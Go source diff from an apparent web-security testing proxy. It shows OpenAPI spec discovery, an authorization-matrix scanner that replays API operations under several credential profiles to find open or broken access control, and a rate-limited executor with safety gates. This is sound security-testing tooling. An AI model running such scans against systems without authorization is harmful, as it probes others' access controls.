return apispec.KindReference
|
||||
}
|
||||
|
||||
candidate := body
|
||||
isJS := strings.Contains(strings.ToLower(contentType), "javascript") ||
|
||||
strings.HasSuffix(strings.ToLower(pathOf(target)), ".js")
|
||||
if isJS {
|
||||
if !apispec.LooksLikeSwaggerInit(target) {
|
||||
return apispec.KindSkip
|
||||
}
|
||||
unwrapped, ok := apispec.UnwrapJSSpec(body)
|
||||
if !ok {
|
||||
return apispec.KindReference
|
||||
}
|
||||
candidate = unwrapped
|
||||
}
|
||||
|
||||
// Default placeholders, deliberately: a sweep parses a candidate only to
|
||||
// report its title and operation count, neither of which depends on a
|
||||
// generated value. The operator sets placeholders on the document once it is
|
||||
// the one they are working, which re-parses it.
|
||||
spec, err := apispec.ParseOpenAPI(candidate, apispec.Options{SourceURL: target})
|
||||
if err != nil {
|
||||
// Document-shaped but unparseable is still worth surfacing: it is
|
||||
// frequently a truncated or auth-gated document, and the operator can
|
||||
// judge. sj discards these silently.
|
||||
if looksDocumentShaped(candidate) {
|
||||
return apispec.KindWeak
|
||||
}
|
||||
return apispec.KindNone
|
||||
}
|
||||
if len(spec.Operations) == 0 {
|
||||
return apispec.KindWeak
|
||||
}
|
||||
|
||||
res.SpecTitle = spec.Title
|
||||
res.SpecFormat = string(spec.Format)
|
||||
res.SpecOps = len(spec.Operations)
|
||||
if onSpec != nil {
|
||||
onSpec(spec, candidate)
|
||||
}
|
||||
return apispec.KindSpec
|
||||
}
|
||||
|
||||
// looksDocumentShaped reports whether bytes mention a version token at all, so a
|
||||
// near-miss can be told from an unrelated 200.
|
||||
func looksDocumentShaped(body []byte) bool {
|
||||
window := body
|
||||
if len(window) > 4096 {
|
||||
window = window[:4096]
|
||||
}
|
||||
s := strings.ToLower(string(window))
|
||||
return strings.Contains(s, "\"swagger\"") || strings.Contains(s, "\"openapi\"") ||
|
||||
strings.Contains(s, "swagger:") || strings.Contains(s, "openapi:")
|
||||
}
|
||||
|
||||
// bodyOf splits the body out of a raw response.
|
||||
func bodyOf(raw []byte) []byte {
|
||||
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
|
||||
return raw[i+4:]
|
||||
}
|
||||
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
|
||||
return raw[i+2:]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func pathOf(rawURL string) string {
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil || u.Path == "" {
|
||||
return "/"
|
||||
}
|
||||
// EscapedPath, not Path: url.Parse percent-decodes into Path, and a followed
|
||||
// reference carrying %0d%0a would come back as a real CRLF — straight into
|
||||
// the request line below.
|
||||
p := u.EscapedPath()
|
||||
if u.RawQuery != "" {
|
||||
p += "?" + u.RawQuery
|
||||
}
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] <= 0x20 || p[i] >= 0x7f {
|
||||
return "/"
|
||||
}
|
||||
}
|
||||
return p
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
package apiscan
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Verdict is what one operation's row across every profile amounts to.
|
||||
type Verdict string
|
||||
|
||||
const (
|
||||
// VerdictOpen means the least-privileged profile — normally anonymous —
|
||||
// was served. This is the single most valuable thing the matrix finds, and
|
||||
// it needs no comparison at all.
|
||||
VerdictOpen Verdict = "open"
|
||||
|
||||
// VerdictBroken means a lower-privileged profile got the same response a
|
||||
// higher-privileged one did, while some profile below it was refused. That
|
||||
// is broken access control: the endpoint distinguishes *some* callers, so it
|
||||
// is not simply public, but it fails to distinguish the one that matters.
|
||||
VerdictBroken Verdict = "broken"
|
||||
|
||||
// VerdictDenied means every profile was refused.
|
||||
VerdictDenied Verdict = "denied"
|
||||
|
||||
// VerdictExpected means authorization rises with privilege, as intended.
|
||||
VerdictExpected Verdict = "expected"
|
||||
|
||||
// VerdictError means a cell could not be evaluated.
|
||||
VerdictError Verdict = "error"
|
||||
)
|
||||
|
||||
// Cell is one operation under one profile.
|
||||
type Cell struct {
|
||||
ProfileID string `json:"profileId"`
|
||||
Rank int `json:"rank"`
|
||||
Status int `json:"status"`
|
||||
Len int `json:"len"`
|
||||
BodyHash string `json:"bhash,omitempty"`
|
||||
StructHash string `json:"shash,omitempty"`
|
||||
DurationMs int64 `json:"ms"`
|
||||
Seq int `json:"seq"`
|
||||
RequestID string `json:"requestId,omitempty"`
|
||||
Triage Triage `json:"triage"`
|
||||
Index int `json:"index"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Skipped string `json:"skipped,omitempty"`
|
||||
}
|
||||
|
||||
// Row is one operation across every profile, in ascending privilege order.
|
||||
type Row struct {
|
||||
OpID string `json:"opId"`
|
||||
Method string `json:"method"`
|
||||
Path string `json:"path"`
|
||||
Cells []Cell `json:"cells"`
|
||||
Verdict Verdict `json:"verdict"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// MatrixView is the pivoted result.
|
||||
type MatrixView struct {
|
||||
RunID string `json:"runId"`
|
||||
Profiles []Profile `json:"profiles"`
|
||||
Rows []Row `json:"rows"`
|
||||
Summary map[string]int `json:"summary"`
|
||||
Interesting []string `json:"interesting"`
|
||||
}
|
||||
|
||||
// Matrix pivots a run's results into the operations-by-profiles grid and
|
||||
// computes each row's verdict.
|
||||
//
|
||||
// The verdict is computed here rather than in the client for the reason
|
||||
// httptools.renderBatch states about its outliers line: the answer is
|
||||
// precomputed and the table is corroboration. Deciding it in TypeScript would
|
||||
// put privilege comparison in two places and create a keep-in-sync pair nobody
|
||||
// maintains.
|
||||
func Matrix(run *Run) MatrixView {
|
||||
cfg := run.Config
|
||||
results := run.Results()
|
||||
|
||||
// Profiles are compared in privilege order, which is what makes "a lower
|
||||
// rank reached what only a higher rank should" a statement about privilege
|
||||
// rather than about two arbitrary credential sets.
|
||||
order := make([]int, len(cfg.Profiles))
|
||||
for i := range order {
|
||||
order[i] = i
|
||||
}
|
||||
sort.SliceStable(order, func(a, b int) bool {
|
||||
return cfg.Profiles[order[a]].Rank < cfg.Profiles[order[b]].Rank
|
||||
})
|
||||
ordered := make([]Profile, len(order))
|
||||
for i, idx := range order {
|
||||
ordered[i] = cfg.Profiles[idx]
|
||||
}
|
||||
|
||||
// Materialized rather than left nil: a nil slice marshals as null, and the
|
||||
// client's type says array. See apispec.Spec.normalize for the rule.
|
||||
view := MatrixView{
|
||||
RunID: run.ID, Profiles: ordered,
|
||||
Rows: []Row{}, Interesting: []string{}, Summary: map[string]int{},
|
||||
}
|
||||
if len(cfg.Profiles) == 0 {
|
||||
return view
|
||||
}
|
||||
|
||||
for opIdx := range cfg.Ops {
|
||||
op := cfg.Ops[opIdx]
|
||||
row := Row{OpID: op.ID, Method: op.Method, Path: op.Path, Cells: []Cell{}}
|
||||
for _, profIdx := range order {
|
||||
idx := opIdx*len(cfg.Profiles) + profIdx
|
||||
if idx >= len(results) {
|
||||
continue
|
||||
}
|
||||
r := results[idx]
|
||||
row.Cells = append(row.Cells, Cell{
|
||||
ProfileID: cfg.Profiles[profIdx].ID, Rank: cfg.Profiles[profIdx].Rank,
|
||||
Status: r.Status, Len: r.Len, BodyHash: r.BodyHash, StructHash: r.StructHash,
|
||||
DurationMs: r.DurationMs, Seq: r.Seq, RequestID: r.RequestID,
|
||||
Triage: r.Triage, Index: r.Index, Error: r.Error, Skipped: r.Skipped,
|
||||
})
|
||||
}
|
||||
row.Verdict, row.Detail = verdictFor(row.Cells)
|
||||
view.Summary[string(row.Verdict)]++
|
||||
if row.Verdict == VerdictOpen || row.Verdict == VerdictBroken {
|
||||
view.Interesting = append(view.Interesting, op.ID)
|
||||
}
|
||||
view.Rows = append(view.Rows, row)
|
||||
}
|
||||
return view
|
||||
}
|
||||
|
||||
// verdictFor classifies one row. Cells arrive in ascending privilege order.
|
||||
func verdictFor(cells []Cell) (Verdict, string) {
|
||||
var usable []Cell
|
||||
firstErr := ""
|
||||
for _, c := range cells {
|
||||
if c.Error != "" {
|
||||
// Held, not returned: a failure in a privileged column must not bury
|
||||
// "anonymous was served", which needs no comparison. Still an error
|
||||
// for every rule that does need the whole row.
|
||||
if firstErr == "" {
|
||||
firstErr = c.Error
|
||||
}
|
||||
continue
|
||||
}
|
||||
if c.Skipped != "" {
|
||||
continue
|
||||
}
|
||||
// A slot that has not been filled yet is the zero Result: no error, no
|
||||
// skip reason, and an empty Triage. Treating it as usable would walk it
|
||||
// past every rule below and land on VerdictExpected — reporting an
|
||||
// operation that was never sent as correctly authorized. For a grid whose
|
||||
// whole purpose is finding access-control failures, failing open is the
|
||||
// wrong direction, and GET /runs/{id}/matrix can be called mid-run.
|
||||
if c.Triage == "" {
|
||||
return VerdictError, "this operation has not been sent yet"
|
||||
}
|
||||
usable = append(usable, c)
|
||||
}
|
||||
if len(usable) == 0 {
|
||||
if firstErr != "" {
|
||||
return VerdictError, "a request could not be completed: " + firstErr
|
||||
}
|
||||
return VerdictError, "no request was sent for this operation"
|
||||
}
|
||||
|
||||
// The least-privileged profile being served needs no comparison. cells[0],
|
||||
// not usable[0]: if the anonymous column is the one that errored, usable[0]
|
||||
// holds credentials and calling its 200 "open" invents a finding.
|
||||
if len(cells) > 0 && cells[0].Error == "" && cells[0].Skipped == "" && cells[0].Triage == TriageGood {
|
||||
return VerdictOpen, "the least-privileged profile was served"
|
||||
}
|
||||
if firstErr != "" {
|
||||
return VerdictError, "a request could not be completed: " + firstErr
|
||||
}
|
||||
|
||||
allDenied := true
|
||||
for _, c := range usable {
|
||||
if c.Triage != TriageBad {
|
||||
allDenied = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if allDenied {
|
||||
return VerdictDenied, "every profile was refused"
|
||||
}
|
||||
|
||||
// Broken access control: the most-privileged profile was served, a
|
||||
// less-privileged one got a structurally identical response, and something
|
||||
// below that was refused.
|
||||
//
|
||||
// StructHash rather than status and length is what makes this work. Two
|
||||
// renderings of one page carrying different CSRF tokens have different
|
||||
// lengths and different body hashes but the same struct hash, so a
|
||||
// length comparison misses the finding and a body comparison flags every
|
||||
// row.
|
||||
top := usable[len(usable)-1]
|
||||
if top.Triage == TriageGood && top.StructHash != "" {
|
||||
for i := 0; i < len(usable)-1; i++ {
|
||||
lower := usable[i]
|
||||
if lower.Triage != TriageGood || lower.StructHash != top.StructHash {
|
||||
continue
|
||||
}
|
||||
for j := 0; j < i; j++ {
|
||||
if usable[j].Triage == TriageBad {
|
||||
return VerdictBroken, strings.Join([]string{
|
||||
"profile", lower.ProfileID, "received the same response as", top.ProfileID,
|
||||
"while", usable[j].ProfileID, "was refused",
|
||||
}, " ")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return VerdictExpected, ""
|
||||
}
|
||||
@@ -0,0 +1,272 @@
|
||||
package apiscan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/apispec"
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// Plan reports how many requests a config will send, and refuses one that is
|
||||
// too large before any of it goes on the wire.
|
||||
func Plan(cfg Config) (int, error) {
|
||||
if len(cfg.Ops) == 0 {
|
||||
return 0, fmt.Errorf("no operations selected")
|
||||
}
|
||||
if len(cfg.Profiles) == 0 {
|
||||
return 0, fmt.Errorf("no auth profiles selected; use a single empty profile for an unauthenticated scan")
|
||||
}
|
||||
if len(cfg.Profiles) > MaxProfiles {
|
||||
return 0, fmt.Errorf("%d profiles exceeds the limit of %d", len(cfg.Profiles), MaxProfiles)
|
||||
}
|
||||
total := len(cfg.Ops) * len(cfg.Profiles)
|
||||
if total > MaxRequestsPerRun {
|
||||
return 0, fmt.Errorf(
|
||||
"%d operations x %d profiles is %d requests, over the %d-request limit; "+
|
||||
"select fewer operations, or drive Joro's fuzzer from the Fuzz tab for a run that size",
|
||||
len(cfg.Ops), len(cfg.Profiles), total, MaxRequestsPerRun)
|
||||
}
|
||||
return total, nil
|
||||
}
|
||||
|
||||
// Execute runs a scan or a matrix.
|
||||
//
|
||||
// The shape mirrors httptools.Batch: one shared ticker as the rate limiter, a
|
||||
// channel of indices, N workers, one claim set for the whole run, and results
|
||||
// written into pre-sized slots by index rather than appended. Batch's own doc
|
||||
// comment records that duplicating this shape is the repo's answer to the
|
||||
// fuzzer's runner not being extractable, and the same reasoning applies here.
|
||||
func Execute(ctx context.Context, run *Run, d Deps) {
|
||||
cfg := run.Config
|
||||
|
||||
conc := clampInt(cfg.Concurrency, DefaultConcurrency, 1, MaxConcurrency)
|
||||
perItem := time.Duration(clampInt(cfg.TimeoutMs, DefaultTimeoutMs, 1000, MaxTimeoutMs)) * time.Millisecond
|
||||
budget := time.Duration(clampInt(cfg.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
|
||||
|
||||
runCtx, cancel := context.WithTimeout(ctx, budget)
|
||||
defer cancel()
|
||||
run.setCancel(cancel)
|
||||
|
||||
var limiter <-chan time.Time
|
||||
if cfg.RatePerSec > 0 {
|
||||
rate := min(cfg.RatePerSec, MaxRatePerSec)
|
||||
tick := time.NewTicker(time.Duration(float64(time.Second) / rate))
|
||||
defer tick.Stop()
|
||||
limiter = tick.C
|
||||
}
|
||||
|
||||
// One claim set for the run, so two workers finishing at once cannot
|
||||
// correlate their sends to the same History row. In a matrix this is not an
|
||||
// edge case: two profiles hitting one operation often produce byte-identical
|
||||
// responses, which is exactly when correlate falls through to claim order.
|
||||
sendDeps := d.Send
|
||||
sendDeps.Claims = httptools.NewClaimSet()
|
||||
|
||||
methods := cfg.Methods
|
||||
if len(methods) == 0 {
|
||||
methods = apispec.DefaultMethods()
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
broadcast(d, "spec.run.started", map[string]any{
|
||||
"runId": run.ID, "kind": string(run.Kind), "total": run.Total,
|
||||
"profiles": profileSummaries(cfg.Profiles),
|
||||
})
|
||||
|
||||
total := len(cfg.Ops) * len(cfg.Profiles)
|
||||
work := make(chan int, conc)
|
||||
var wg sync.WaitGroup
|
||||
|
||||
for range conc {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for idx := range work {
|
||||
opIdx := idx / len(cfg.Profiles)
|
||||
profIdx := idx % len(cfg.Profiles)
|
||||
op := &cfg.Ops[opIdx]
|
||||
profile := cfg.Profiles[profIdx]
|
||||
|
||||
res := Result{
|
||||
OpID: op.ID, ProfileID: profile.ID,
|
||||
Method: op.Method, Path: op.Path,
|
||||
}
|
||||
|
||||
// The safety gate. A skipped item still fills its slot, so the
|
||||
// client can correlate every row back to what it asked for and can
|
||||
// see why one was not sent.
|
||||
if !slices.Contains(methods, strings.ToUpper(op.Method)) {
|
||||
res.Skipped = "method"
|
||||
res.Triage = TriageWarn
|
||||
run.setResult(idx, &res)
|
||||
emitResult(d, run, res)
|
||||
continue
|
||||
}
|
||||
if op.Destructive && !cfg.AllowDestructive {
|
||||
res.Skipped = "destructive"
|
||||
res.Note = strings.Join(op.DestructiveReasons, ", ")
|
||||
res.Triage = TriageWarn
|
||||
run.setResult(idx, &res)
|
||||
emitResult(d, run, res)
|
||||
continue
|
||||
}
|
||||
|
||||
if limiter != nil {
|
||||
select {
|
||||
case <-runCtx.Done():
|
||||
res.Skipped = "budget"
|
||||
res.Triage = TriageWarn
|
||||
run.setResult(idx, &res)
|
||||
emitResult(d, run, res)
|
||||
continue
|
||||
case <-limiter:
|
||||
}
|
||||
}
|
||||
if runCtx.Err() != nil {
|
||||
res.Skipped = "budget"
|
||||
res.Triage = TriageWarn
|
||||
run.setResult(idx, &res)
|
||||
emitResult(d, run, res)
|
||||
continue
|
||||
}
|
||||
|
||||
raw, target, err := apispec.Render(op, cfg.Server, cfg.Values[op.ID], profile.Auth,
|
||||
apispec.RenderOptions{UserAgent: cfg.UserAgent})
|
||||
if err != nil {
|
||||
res.Skipped = "render"
|
||||
res.Error = err.Error()
|
||||
res.Triage = TriageWarn
|
||||
run.setResult(idx, &res)
|
||||
emitResult(d, run, res)
|
||||
continue
|
||||
}
|
||||
res.URL = target.Scheme + "://" + target.Host + target.Path
|
||||
res.ReqPath = target.Path
|
||||
res.ReqRaw = raw
|
||||
|
||||
itemCtx, itemCancel := context.WithTimeout(runCtx, perItem)
|
||||
sent, err := httptools.SendViaProxy(itemCtx, raw, target.Scheme, target.Host, sendDeps)
|
||||
itemCancel()
|
||||
if err != nil {
|
||||
res.Error = shortErr(err)
|
||||
res.Triage = TriageWarn
|
||||
run.setResult(idx, &res)
|
||||
emitResult(d, run, res)
|
||||
continue
|
||||
}
|
||||
|
||||
applyFingerprint(&res, sent)
|
||||
run.setResult(idx, &res)
|
||||
emitResult(d, run, res)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for i := range total {
|
||||
select {
|
||||
case work <- i:
|
||||
case <-runCtx.Done():
|
||||
// Fill the rest so the client is not left waiting on rows that will
|
||||
// never arrive.
|
||||
for j := i; j < total; j++ {
|
||||
op := &cfg.Ops[j/len(cfg.Profiles)]
|
||||
res := Result{
|
||||
Skipped: "budget", Triage: TriageWarn,
|
||||
OpID: op.ID, Method: op.Method, Path: op.Path,
|
||||
ProfileID: cfg.Profiles[j%len(cfg.Profiles)].ID,
|
||||
}
|
||||
run.setResult(j, &res)
|
||||
emitResult(d, run, res)
|
||||
}
|
||||
close(work)
|
||||
wg.Wait()
|
||||
finishRun(d, run, start)
|
||||
return
|
||||
}
|
||||
}
|
||||
close(work)
|
||||
wg.Wait()
|
||||
finishRun(d, run, start)
|
||||
}
|
||||
|
||||
// applyFingerprint copies a send's outcome onto a result.
|
||||
//
|
||||
// FingerprintResponse rather than status and length: StructHash folds out CSRF
|
||||
// tokens, timestamps, UUIDs and nonces, which is what stops an auth matrix
|
||||
// flagging every row where two renderings of one page differ only in a nonce.
|
||||
func applyFingerprint(res *Result, sent *httptools.ProxySendResult) {
|
||||
fp := httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false)
|
||||
res.Seq = sent.Seq
|
||||
res.RequestID = sent.RequestID
|
||||
res.SeqNote = sent.SeqNote
|
||||
res.Status = fp.Status
|
||||
res.Len = fp.Len
|
||||
res.DurationMs = fp.DurationMs
|
||||
res.BodyHash = fp.BodyHash
|
||||
res.StructHash = fp.StructHash
|
||||
res.Words = fp.Words
|
||||
res.Lines = fp.Lines
|
||||
res.Note = fp.Note
|
||||
res.ContentType = fp.CT
|
||||
res.RespRaw = sent.RespRaw
|
||||
res.Triage = TriageOf(fp.Status, "")
|
||||
}
|
||||
|
||||
func finishRun(d Deps, run *Run, start time.Time) {
|
||||
status := StatusComplete
|
||||
if run.Status() == StatusStopped {
|
||||
status = StatusStopped
|
||||
}
|
||||
run.finish(status)
|
||||
completed, errs, skipped, hits := run.Counts()
|
||||
broadcast(d, "spec.run.complete", map[string]any{
|
||||
"runId": run.ID, "kind": string(run.Kind), "status": string(run.Status()),
|
||||
"completed": completed, "errors": errs, "skipped": skipped, "hits": hits,
|
||||
"durationMs": time.Since(start).Milliseconds(),
|
||||
})
|
||||
}
|
||||
|
||||
// emitResult sends one row.
|
||||
//
|
||||
// Blocking, from the run's own goroutine, like fuzzer.result: Hub.Subscribe fans
|
||||
// out to in-process consumers without blocking, so a slow subscriber cannot
|
||||
// stall the run, and sending blocking here is what keeps the client's row count
|
||||
// agreeing with the run's total.
|
||||
func emitResult(d Deps, run *Run, res Result) {
|
||||
res.ReqRaw, res.RespRaw = nil, nil
|
||||
broadcast(d, "spec.run.result", map[string]any{
|
||||
"runId": run.ID, "kind": string(run.Kind), "result": res,
|
||||
})
|
||||
}
|
||||
|
||||
func broadcast(d Deps, typ string, data map[string]any) {
|
||||
if d.Broadcast == nil {
|
||||
return
|
||||
}
|
||||
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
|
||||
}
|
||||
|
||||
func profileSummaries(profiles []Profile) []map[string]any {
|
||||
out := make([]map[string]any, 0, len(profiles))
|
||||
for _, p := range profiles {
|
||||
out = append(out, map[string]any{"id": p.ID, "label": p.Label, "rank": p.Rank})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func shortErr(err error) string {
|
||||
msg := err.Error()
|
||||
if i := strings.LastIndex(msg, ": "); i > 0 && len(msg)-i < 60 {
|
||||
return msg[i+2:]
|
||||
}
|
||||
if len(msg) > 120 {
|
||||
return msg[:120]
|
||||
}
|
||||
return msg
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
package apiscan
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/apispec"
|
||||
)
|
||||
|
||||
// Store holds runs in memory, bounded like fuzzer.Store. Runs are session state
|
||||
// and never reach the project file.
|
||||
type Store struct {
|
||||
mu sync.RWMutex
|
||||
runs []*Run
|
||||
max int
|
||||
}
|
||||
|
||||
// NewStore creates an empty run store.
|
||||
func NewStore() *Store { return &Store{max: MaxRuns} }
|
||||
|
||||
// Add registers a run, evicting the oldest finished one when full. A running run
|
||||
// is never evicted: its workers hold a pointer to it, and dropping it from the
|
||||
// store would only make it unreachable, not stop it.
|
||||
func (s *Store) Add(r *Run) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if len(s.runs) >= s.max {
|
||||
for i, old := range s.runs {
|
||||
if old.Status() != StatusRunning {
|
||||
s.runs = append(s.runs[:i], s.runs[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
s.runs = append(s.runs, r)
|
||||
}
|
||||
|
||||
// Get returns a run by ID, or nil.
|
||||
func (s *Store) Get(id string) *Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, r := range s.runs {
|
||||
if r.ID == id {
|
||||
return r
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List returns every run, newest first.
|
||||
func (s *Store) List() []*Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*Run, len(s.runs))
|
||||
for i, r := range s.runs {
|
||||
out[len(s.runs)-1-i] = r
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Delete removes a run, reporting whether it was found.
|
||||
func (s *Store) Delete(id string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, r := range s.runs {
|
||||
if r.ID == id {
|
||||
s.runs = append(s.runs[:i], s.runs[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// StoredSpec is a parsed document plus where it came from.
|
||||
type StoredSpec struct {
|
||||
Spec *apispec.Spec `json:"spec"`
|
||||
LoadedAt time.Time `json:"loadedAt"`
|
||||
|
||||
// Source is the original bytes, kept so the operator can read the document
|
||||
// they are working against. It is served by its own endpoint rather than
|
||||
// riding on every spec response, because it is routinely megabytes.
|
||||
Source []byte `json:"-"`
|
||||
}
|
||||
|
||||
// SpecStore holds parsed documents and the auth profiles defined against them.
|
||||
//
|
||||
// In memory only. A document fetched by URL went through the proxy and is
|
||||
// therefore already in History, so persisting it would store it twice; and
|
||||
// profiles hold credentials, which is why webhooks.json's secrets are kept out
|
||||
// of the project file too.
|
||||
type SpecStore struct {
|
||||
mu sync.RWMutex
|
||||
specs []*StoredSpec
|
||||
profiles map[string][]Profile // keyed by spec ID
|
||||
max int
|
||||
}
|
||||
|
||||
// NewSpecStore creates an empty spec store.
|
||||
func NewSpecStore() *SpecStore {
|
||||
return &SpecStore{profiles: map[string][]Profile{}, max: MaxSpecs}
|
||||
}
|
||||
|
||||
// Put stores a parsed document, replacing an existing one with the same ID. The
|
||||
// ID is a hash of the source bytes, so re-loading an unchanged document keeps
|
||||
// the profiles already defined against it.
|
||||
//
|
||||
// The same ID does not imply the same generated defaults: one source parsed
|
||||
// under two sets of apispec.Placeholders yields two Specs sharing an ID, and the
|
||||
// last Put wins. Anything that re-parses stored source therefore has to mean it
|
||||
// — which is why discovery only Puts a document not already held.
|
||||
func (s *SpecStore) Put(spec *apispec.Spec, source []byte) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, existing := range s.specs {
|
||||
if existing.Spec.ID == spec.ID {
|
||||
// Moved to the back, not updated in place. Eviction below takes
|
||||
// specs[0], so position is the eviction order; refreshing LoadedAt
|
||||
// without moving the entry left a document the operator reloads
|
||||
// constantly still first in line to be dropped — out from under the
|
||||
// tab still using it, whose every later render and scan then 404s.
|
||||
s.specs = append(append(s.specs[:i:i], s.specs[i+1:]...),
|
||||
&StoredSpec{Spec: spec, Source: source, LoadedAt: time.Now()})
|
||||
return
|
||||
}
|
||||
}
|
||||
if len(s.specs) >= s.max {
|
||||
evicted := s.specs[0]
|
||||
delete(s.profiles, evicted.Spec.ID)
|
||||
s.specs = s.specs[1:]
|
||||
}
|
||||
s.specs = append(s.specs, &StoredSpec{Spec: spec, Source: source, LoadedAt: time.Now()})
|
||||
}
|
||||
|
||||
// Get returns a stored document by ID, or nil.
|
||||
func (s *SpecStore) Get(id string) *StoredSpec {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, stored := range s.specs {
|
||||
if stored.Spec.ID == id {
|
||||
return stored
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List returns every stored document, newest first.
|
||||
func (s *SpecStore) List() []*StoredSpec {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*StoredSpec, len(s.specs))
|
||||
for i, stored := range s.specs {
|
||||
out[len(s.specs)-1-i] = stored
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Delete removes a document and the profiles defined against it.
|
||||
func (s *SpecStore) Delete(id string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, stored := range s.specs {
|
||||
if stored.Spec.ID == id {
|
||||
s.specs = append(s.specs[:i], s.specs[i+1:]...)
|
||||
delete(s.profiles, id)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// SetProfiles replaces the profile set for one document.
|
||||
func (s *SpecStore) SetProfiles(specID string, profiles []Profile) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.profiles[specID] = profiles
|
||||
}
|
||||
|
||||
// Profiles returns a copy of the profile set for one document, credentials
|
||||
// included. Callers that serialize these must strip Auth; it is json:"-" so the
|
||||
// encoder does that on its own.
|
||||
func (s *SpecStore) Profiles(specID string) []Profile {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]Profile, len(s.profiles[specID]))
|
||||
copy(out, s.profiles[specID])
|
||||
return out
|
||||
}
|
||||
|
||||
// Clear drops every document and profile, for a project switch.
|
||||
func (s *SpecStore) Clear() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.specs = nil
|
||||
s.profiles = map[string][]Profile{}
|
||||
}
|
||||
@@ -0,0 +1,418 @@
|
||||
// Package apispec parses API description documents into one normalized model and
|
||||
// projects that model into raw HTTP requests.
|
||||
//
|
||||
// The parsing and placeholder-value approach is ported from BishopFox's sj
|
||||
// (github.com/BishopFox/sj), which audits exposed Swagger/OpenAPI documents by
|
||||
// building a request for every declared operation. See the notes on individual
|
||||
// functions for the places this deliberately diverges.
|
||||
//
|
||||
// # The spec is the editing document; the raw request is the executable truth
|
||||
//
|
||||
// Nothing here sends. Render takes no context.Context and this package imports
|
||||
// nothing that can open a socket, so that is structural rather than a
|
||||
// convention. Render turns one operation plus a set of values into the exact
|
||||
// bytes that go on the wire, and those bytes are what the operator sees, edits,
|
||||
// and hands to the senders that already exist.
|
||||
//
|
||||
// The consequence is the point: because a spec-driven request is just bytes,
|
||||
// scope, Match & Replace, Custom Data and intercept all apply to it without this
|
||||
// package knowing they exist, and a spec-driven request can be handed to the
|
||||
// request workbench or the fuzzer with nothing lost in translation. A send path
|
||||
// private to the spec tab is what would break it.
|
||||
//
|
||||
// # A $ref never reaches the filesystem
|
||||
//
|
||||
// sj resolves external file references ("./schemas/user.yaml#/User") off local
|
||||
// disk. There, the document is a file the operator chose. Here, a document is
|
||||
// routinely fetched from a target and is therefore attacker-controlled, and
|
||||
// following a file reference would not merely be arbitrary file read: the value
|
||||
// read is rendered into a request body and sent to a host the same document
|
||||
// chose, which makes it exfiltration. Local "#/..." pointers only. Everything
|
||||
// else is refused and reported as a Diagnostic.
|
||||
//
|
||||
// # A document always parses to something
|
||||
//
|
||||
// Parse errors are reserved for input that is not a document at all. Everything
|
||||
// survivable — a refused reference, a dangling pointer, a cycle, an exhausted
|
||||
// budget, a duplicate key — degrades that one schema and appends a Diagnostic.
|
||||
// An operator reading a 400 from a generated request needs to know the body came
|
||||
// from a schema that could not be fully resolved; the alternative is assuming the
|
||||
// endpoint rejects valid input.
|
||||
package apispec
|
||||
|
||||
// Format identifies the kind of document a Spec was parsed from. The normalized
|
||||
// model is deliberately free of OpenAPI vocabulary so that a parser for another
|
||||
// description language is a sibling file returning the same *Spec.
|
||||
type Format string
|
||||
|
||||
const (
|
||||
FormatSwagger2 Format = "swagger2"
|
||||
FormatOpenAPI3 Format = "openapi3"
|
||||
)
|
||||
|
||||
// Limits bound what a hostile or merely enormous document can cost. They are
|
||||
// fields rather than constants only where a caller has a legitimate reason to
|
||||
// differ; the defaults are what DefaultOptions supplies.
|
||||
const (
|
||||
// MaxSpecBytes is checked against the raw bytes before any decode. Sized
|
||||
// against real documents rather than a round number: GitHub's is 13 MB and
|
||||
